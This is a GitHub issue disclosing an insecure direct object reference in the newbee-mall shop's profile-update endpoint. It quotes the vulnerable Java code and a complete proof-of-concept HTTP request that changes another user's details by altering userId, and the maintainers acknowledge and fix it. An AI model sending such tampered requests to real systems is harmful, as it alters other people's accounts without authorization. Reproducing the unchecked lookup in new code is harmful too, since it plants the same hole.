

New issue

Jump to bottom

## IDOR causes unauthorized changes to any user information #35

Closed

Jayway007 opened this issue on May 26, 2020 · 1 comment

Jayway007 commented on May 26, 2020

1. /personal/updateInfo, this interface can be used to update user information:  
10.164.152.233:28089/personal



2. The corresponding code is as follows:

```
@PostMapping("/personal/updateInfo")
@ResponseBody
public Result updateInfo(@RequestBody MallUser mallUser, HttpSession httpSession) {
    NewBeeMallUserVO mallUserTemp = newBeeMallUserService.updateUserInfo(mallUser, httpSession);
    if (mallUserTemp == null) {
        Result result = ResultGenerator.genFailResult("修改失败");
        return result;
    } else {
        // 返回成功
        Result result = ResultGenerator.genSuccessResult();
        return result;
    }
}
```

Track updateUserInfo method:

```
@Override
public NewBeeMallUserVO updateUserInfo(MallUser mallUser, HttpSession httpSession) {
    MallUser user = mallUserMapper.selectByPrimaryKey(mallUser.getUserId());
    if (user != null) {
        user.setNickName(mallUser.getNickName());
        user.setAddress(mallUser.getAddress());
        user.setIntroduceSign(mallUser.getIntroduceSign());
        if (mallUserMapper.updateByPrimaryKeySelective(user) > 0) {
            NewBeeMallUserVO newBeeMallUserVO = new NewBeeMallUserVO();
            user = mallUserMapper.selectByPrimaryKey(mallUser.getUserId());
            BeanUtil.copyProperties(user, newBeeMallUserVO);
            HttpSession.setAttribute(Constants.MALL_USER_SESSION_KEY, newBeeMallUserVO);
            return newBeeMallUserVO;
        }
    }
}
```

```
POST /personal/updateInfo HTTP/1.1
Host: 10.164.152.233:28089
Content-Length: 80
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.3
Content-Type: application/json
Origin: http://10.164.152.233:28089
Referer: http://10.164.152.233:28089/personal
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JIDENTITY=280d4b02-4494-4291-9a49-421880b4bc98; JSESSIONID=3173C1DB94494693678B25A504046A2
Connection: close

{"userId":7,"address":"test for cve","introduceSign":"test","nickName":"cve"}
```

3. The code updates the information after querying by the value of userid, so you can modify any user information by tampering with the value of userid.

ZHENFENG13 commented on May 27, 2020

Collaborator

好的，我尽快修改，感谢！

newbee-mail referenced this issue on May 28, 2020

Fixing a bug.

427f579

newbee-mail closed this as completed on Oct 20, 2020

Assignees

No one assigned

Labels

None yet

---

Projects

None yet

---

Milestone

No milestone

---

Development

No branches or pull requests

---

3 participants

